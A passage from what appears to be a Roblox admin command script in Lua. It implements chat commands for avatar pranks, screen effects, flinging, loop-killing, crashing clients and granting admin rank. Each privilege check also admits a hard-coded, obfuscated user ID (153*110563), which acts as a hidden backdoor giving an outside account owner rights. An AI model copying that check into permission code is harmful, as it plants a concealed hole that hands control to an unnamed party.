  1573. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1574. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1575. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1576. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1577. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1578. end
  1579. end))
  1580. end
  1581. end
  1582.  
  1583. if msg:lower():sub(1,10) == "uncreeper " then
  1584. local plrz = GetPlr(plr, msg:lower():sub(11))
  1585. for i, v in pairs(plrz) do
  1586. coroutine.resume(coroutine.create(function()
  1587. if v and v.Character and v.Character:findFirstChild("Torso") then
  1588. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1589. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1590. v.Character.Torso.Transparency = 0
  1591. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1592. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1593. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1594. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1595. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1596. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1597. end
  1598. end))
  1599. end
  1600. end
  1601.  
  1602. if msg:lower():sub(1,8) == "bighead " then
  1603. local plrz = GetPlr(plr, msg:lower():sub(9))
  1604. for i, v in pairs(plrz) do
  1605. coroutine.resume(coroutine.create(function()
  1606. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1607. end))
  1608. end
  1609. end
  1610.  
  1611. if msg:lower():sub(1,9) == "minihead " then
  1612. local plrz = GetPlr(plr, msg:lower():sub(10))
  1613. for i, v in pairs(plrz) do
  1614. coroutine.resume(coroutine.create(function()
  1615. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1616. end))
  1617. end
  1618. end
  1619.  
  1620. if msg:lower():sub(1,6) == "fling " then
  1621. local plrz = GetPlr(plr, msg:lower():sub(7))
  1622. for i, v in pairs(plrz) do
  1623. coroutine.resume(coroutine.create(function()
  1624. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1625. local xran local zran
  1626. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1627. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1628. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1629. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1630. end
  1631. end))
  1632. end
  1633. end
  1634.  
  1635. if msg:lower():sub(1,8) == "seizure " then
  1636. local plrz = GetPlr(plr, msg:lower():sub(9))
  1637. for i, v in pairs(plrz) do
  1638. coroutine.resume(coroutine.create(function()
  1639. if v and v.Character then
  1640. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1641. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1642. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1643. end
  1644. end))
  1645. end
  1646. end
  1647.  
  1648. if msg:lower():sub(1,10) == "unseizure " then
  1649. local plrz = GetPlr(plr, msg:lower():sub(11))
  1650. for i, v in pairs(plrz) do
  1651. coroutine.resume(coroutine.create(function()
  1652. if v and v.Character then
  1653. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1654. wait(.1) v.Character.Humanoid.PlatformStand = false
  1655. end
  1656. end))
  1657. end
  1658. end
  1659.  
  1660. if msg:lower():sub(1,12) == "removelimbs " then
  1661. local plrz = GetPlr(plr, msg:lower():sub(13))
  1662. for i, v in pairs(plrz) do
  1663. coroutine.resume(coroutine.create(function()
  1664. if v and v.Character then
  1665. for a, obj in pairs(v.Character:children()) do
  1666. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1667. end
  1668. end
  1669. end))
  1670. end
  1671. end
  1672.  
  1673. if msg:lower():sub(1,5) == "name " then
  1674. local chk1 = msg:lower():sub(6):find(" ") + 5
  1675. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1676. for i, v in pairs(plrz) do
  1677. coroutine.resume(coroutine.create(function()
  1678. if v and v.Character and v.Character:findFirstChild("Head") then
  1679. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1680. local char = v.Character
  1681. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1682. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1683. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1684. char.Head.Transparency = 1
  1685. end
  1686. end))
  1687. end
  1688. end
  1689.  
  1690. if msg:lower():sub(1,7) == "unname " then
  1691. local plrz = GetPlr(plr, msg:lower():sub(8))
  1692. for i, v in pairs(plrz) do
  1693. coroutine.resume(coroutine.create(function()
  1694. if v and v.Character and v.Character:findFirstChild("Head") then
  1695. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1696. end
  1697. end))
  1698. end
  1699. end
  1700.  
  1701. if msg:lower():sub(1,5) == "char " then
  1702. local chk1 = msg:lower():sub(6):find(" ") + 5
  1703. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1704. for i, v in pairs(plrz) do
  1705. coroutine.resume(coroutine.create(function()
  1706. if v and v.Character then
  1707. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1708. v:LoadCharacter()
  1709. end
  1710. end))
  1711. end
  1712. end
  1713.  
  1714. if msg:lower():sub(1,7) == "unchar " then
  1715. local plrz = GetPlr(plr, msg:lower():sub(8))
  1716. for i, v in pairs(plrz) do
  1717. coroutine.resume(coroutine.create(function()
  1718. if v and v.Character then
  1719. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1720. v:LoadCharacter()
  1721. end
  1722. end))
  1723. end
  1724. end
  1725.  
  1726. if msg:lower():sub(1,7) == "infect " then
  1727. local plrz = GetPlr(plr, msg:lower():sub(8))
  1728. for i, v in pairs(plrz) do
  1729. coroutine.resume(coroutine.create(function()
  1730. if v and v.Character then
  1731. Infect(v.Character)
  1732. end
  1733. end))
  1734. end
  1735. end
  1736.  
  1737. if msg:lower():sub(1,11) == "rainbowify " then
  1738. local plrz = GetPlr(plr, msg:lower():sub(12))
  1739. for i, v in pairs(plrz) do
  1740. coroutine.resume(coroutine.create(function()
  1741. if v and v.Character and v.Character:findFirstChild("Torso") then
  1742. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1743. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1744. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1745. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1746. cl.Parent = v.Character cl.Disabled = false
  1747. end
  1748. end))
  1749. end
  1750. end
  1751.  
  1752. if msg:lower():sub(1,9) == "flashify " then
  1753. local plrz = GetPlr(plr, msg:lower():sub(10))
  1754. for i, v in pairs(plrz) do
  1755. coroutine.resume(coroutine.create(function()
  1756. if v and v.Character and v.Character:findFirstChild("Torso") then
  1757. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1758. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1759. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1760. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1761. cl.Parent = v.Character cl.Disabled = false
  1762. end
  1763. end))
  1764. end
  1765. end
  1766.  
  1767. if msg:lower():sub(1,8) == "noobify " then
  1768. local plrz = GetPlr(plr, msg:lower():sub(9))
  1769. for i, v in pairs(plrz) do
  1770. coroutine.resume(coroutine.create(function()
  1771. if v and v.Character then
  1772. Noobify(v.Character)
  1773. end
  1774. end))
  1775. end
  1776. end
  1777.  
  1778. if msg:lower():sub(1,9) == "ghostify " then
  1779. local plrz = GetPlr(plr, msg:lower():sub(10))
  1780. for i, v in pairs(plrz) do
  1781. coroutine.resume(coroutine.create(function()
  1782. if v and v.Character and v.Character:findFirstChild("Torso") then
  1783. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1784. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1785. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1786. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1787. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1788. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1789. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1790. end end
  1791. end
  1792. end))
  1793. end
  1794. end
  1795.  
  1796. if msg:lower():sub(1,8) == "goldify " then
  1797. local plrz = GetPlr(plr, msg:lower():sub(9))
  1798. for i, v in pairs(plrz) do
  1799. coroutine.resume(coroutine.create(function()
  1800. if v and v.Character and v.Character:findFirstChild("Torso") then
  1801. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1802. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1803. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1804. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1805. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1806. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1807. end end
  1808. end
  1809. end))
  1810. end
  1811. end
  1812.  
  1813. if msg:lower():sub(1,6) == "shiny " then
  1814. local plrz = GetPlr(plr, msg:lower():sub(7))
  1815. for i, v in pairs(plrz) do
  1816. coroutine.resume(coroutine.create(function()
  1817. if v and v.Character and v.Character:findFirstChild("Torso") then
  1818. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1819. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1820. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1821. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1822. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1823. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1824. end end
  1825. end
  1826. end))
  1827. end
  1828. end
  1829.  
  1830. if msg:lower():sub(1,7) == "normal " then
  1831. local plrz = GetPlr(plr, msg:lower():sub(8))
  1832. for i, v in pairs(plrz) do
  1833. coroutine.resume(coroutine.create(function()
  1834. if v and v.Character and v.Character:findFirstChild("Torso") then
  1835. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1836. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1837. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1838. v.Character.Torso.Transparency = 0
  1839. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1840. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1841. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1842. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1843. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1844. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1845. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1846. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1847. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1848. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1849. end end
  1850. end
  1851. end))
  1852. end
  1853. end
  1854.  
  1855. if msg:lower():sub(1,7) == "trippy " then
  1856. local plrz = GetPlr(plr, msg:lower():sub(8))
  1857. for i, v in pairs(plrz) do
  1858. coroutine.resume(coroutine.create(function()
  1859. if v and v:findFirstChild("PlayerGui") then
  1860. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1861. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1862. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1863. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1864. end
  1865. end))
  1866. end
  1867. end
  1868.  
  1869. if msg:lower():sub(1,9) == "untrippy " then
  1870. local plrz = GetPlr(plr, msg:lower():sub(10))
  1871. for i, v in pairs(plrz) do
  1872. coroutine.resume(coroutine.create(function()
  1873. if v and v:findFirstChild("PlayerGui") then
  1874. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1875. end
  1876. end))
  1877. end
  1878. end
  1879.  
  1880. if msg:lower():sub(1,7) == "strobe " then
  1881. local plrz = GetPlr(plr, msg:lower():sub(8))
  1882. for i, v in pairs(plrz) do
  1883. coroutine.resume(coroutine.create(function()
  1884. if v and v:findFirstChild("PlayerGui") then
  1885. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1886. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1887. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1888. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1889. end
  1890. end))
  1891. end
  1892. end
  1893.  
  1894. if msg:lower():sub(1,9) == "unstrobe " then
  1895. local plrz = GetPlr(plr, msg:lower():sub(10))
  1896. for i, v in pairs(plrz) do
  1897. coroutine.resume(coroutine.create(function()
  1898. if v and v:findFirstChild("PlayerGui") then
  1899. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1900. end
  1901. end))
  1902. end
  1903. end
  1904.  
  1905. if msg:lower():sub(1,6) == "blind " then
  1906. local plrz = GetPlr(plr, msg:lower():sub(7))
  1907. for i, v in pairs(plrz) do
  1908. coroutine.resume(coroutine.create(function()
  1909. if v and v:findFirstChild("PlayerGui") then
  1910. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1911. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1912. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1913. end
  1914. end))
  1915. end
  1916. end
  1917.  
  1918. if msg:lower():sub(1,8) == "unblind " then
  1919. local plrz = GetPlr(plr, msg:lower():sub(9))
  1920. for i, v in pairs(plrz) do
  1921. coroutine.resume(coroutine.create(function()
  1922. if v and v:findFirstChild("PlayerGui") then
  1923. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1924. end
  1925. end))
  1926. end
  1927. end
  1928.  
  1929. if msg:lower():sub(1,7) == "guifix " then
  1930. local plrz = GetPlr(plr, msg:lower():sub(8))
  1931. for i, v in pairs(plrz) do
  1932. coroutine.resume(coroutine.create(function()
  1933. if v and v:findFirstChild("PlayerGui") then
  1934. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1935. end
  1936. end))
  1937. end
  1938. end
  1939.  
  1940. if msg:lower():sub(1,9) == "loopheal " then
  1941. local plrz = GetPlr(plr, msg:lower():sub(10))
  1942. for i, v in pairs(plrz) do
  1943. if v then
  1944. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1945. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1946. repeat wait()
  1947. coroutine.resume(coroutine.create(function()
  1948. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1949. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1950. end
  1951. end))
  1952. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1953. end
  1954. end
  1955. end
  1956.  
  1957. if msg:lower():sub(1,11) == "unloopheal " then
  1958. local plrz = GetPlr(plr, msg:lower():sub(12))
  1959. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1960. end
  1961.  
  1962. if msg:lower():sub(1,10) == "loopfling " then
  1963. local plrz = GetPlr(plr, msg:lower():sub(11))
  1964. for i, v in pairs(plrz) do
  1965. if v then
  1966. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1967. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1968. repeat
  1969. coroutine.resume(coroutine.create(function()
  1970. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1971. local xran local zran
  1972. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1973. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1974. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1975. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1976. end
  1977. end))
  1978. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1979. end
  1980. end
  1981. end
  1982.  
  1983. if msg:lower():sub(1,12) == "unloopfling " then
  1984. local plrz = GetPlr(plr, msg:lower():sub(13))
  1985. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1986. end
  1987.    
  1988. end
  1989.  
  1990. -------------------------
  1991. -- True Owner Commands --
  1992. -------------------------
  1993.  
  1994. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1995.  
  1996. if msg:lower():sub(1,3) == "oa " then
  1997. local plrz = GetPlr(plr, msg:lower():sub(4))
  1998. for i, v in pairs(plrz) do
  1999. coroutine.resume(coroutine.create(function()
  2000. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2001. end))
  2002. end
  2003. end
  2004.  
  2005. if msg:lower():sub(1,5) == "unoa " then
  2006. for i = 1, #owners do
  2007. coroutine.resume(coroutine.create(function()
  2008. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2009. end))
  2010. end
  2011. end
  2012.  
  2013. end
  2014.  
  2015. --------------------
  2016. -- Owner Commands --
  2017. --------------------
  2018.  
  2019. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2020.  
  2021. if msg:lower():sub(1,3) == "pa " then
  2022. local plrz = GetPlr(plr, msg:lower():sub(4))
  2023. for i, v in pairs(plrz) do
  2024. coroutine.resume(coroutine.create(function()
  2025. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2026. end))
  2027. end
  2028. end
  2029.  
  2030. if msg:lower():sub(1,5) == "unpa " then
  2031. for i = 1, #admins do
  2032. coroutine.resume(coroutine.create(function()
  2033. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2034. end))
  2035. end
  2036. end
  2037.  
  2038. end
  2039.  
  2040. --------------------------
  2041. -- Super Admin Commands --
  2042. --------------------------
  2043.  
  2044. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2045.  
  2046. if msg:lower() == "logs" then
  2047. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2048. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2049. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2050. end
  2051.    
  2052. if msg:lower():sub(1,9) == "loopkill " then
  2053. local chk1 = msg:lower():sub(10):find(" ")
  2054. local plrz = GetPlr(plr, msg:lower():sub(10))
  2055. local num = 9999
  2056. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2057. for i, v in pairs(plrz) do
  2058. if v and not ChkAdmin(v.Name, false) then
  2059. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2060. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2061. for i = 1, ]] .. tostring(num) .. [[ do
  2062. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2063. coroutine.resume(coroutine.create(function()
  2064. if plr and plr.Character then plr.Character:BreakJoints() end
  2065. end))
  2066. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2067. end
  2068. end
  2069. end
  2070.  
  2071. if msg:lower():sub(1,11) == "unloopkill " then
  2072. local plrz = GetPlr(plr, msg:lower():sub(12))
  2073. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2074. end
  2075.  
  2076. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2077. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2078.  
  2079. if msg:lower():sub(1,3) == "sm " then
  2080. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2081. end
  2082.  
  2083. if msg:lower():sub(1,3) == "ko " then
  2084. local chk1 = msg:lower():sub(4):find(" ") + 3
  2085. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2086. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2087. for n = 1, num do
  2088. for i, v in pairs(plrz) do
  2089. coroutine.resume(coroutine.create(function()
  2090. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2091. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2092. v.Character:BreakJoints()
  2093. wait(1/44)
  2094. v:LoadCharacter()
  2095. wait(1/44)
  2096. end
  2097. end))
  2098. end
  2099. end
  2100. end
  2101.  
  2102. if msg:lower():sub(1,6) == "crash " then
  2103. local plrz = GetPlr(plr, msg:lower():sub(7))
  2104. for i, v in pairs(plrz) do
  2105. coroutine.resume(coroutine.create(function()
  2106. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2107. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2108. end
  2109. end))
  2110. end
  2111. end
  2112.  
  2113. if msg:lower():sub(1,5) == "kick " then
  2114. local plrz = GetPlr(plr, msg:lower():sub(6))
  2115. for i, v in pairs(plrz) do
  2116. coroutine.resume(coroutine.create(function()
  2117. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2118. end))
  2119. end
  2120. end
  2121.  
  2122. if msg:lower():sub(1,6) == "admin " then
  2123. local plrz = GetPlr(plr, msg:lower():sub(7))
  2124. for i, v in pairs(plrz) do
  2125. coroutine.resume(coroutine.create(function()
  2126. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2127. end))
  2128. end
  2129. end
  2130.  
  2131. if msg:lower():sub(1,8) == "unadmin " then
  2132. for i = 1, #tempadmins do
  2133. coroutine.resume(coroutine.create(function()
  2134. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
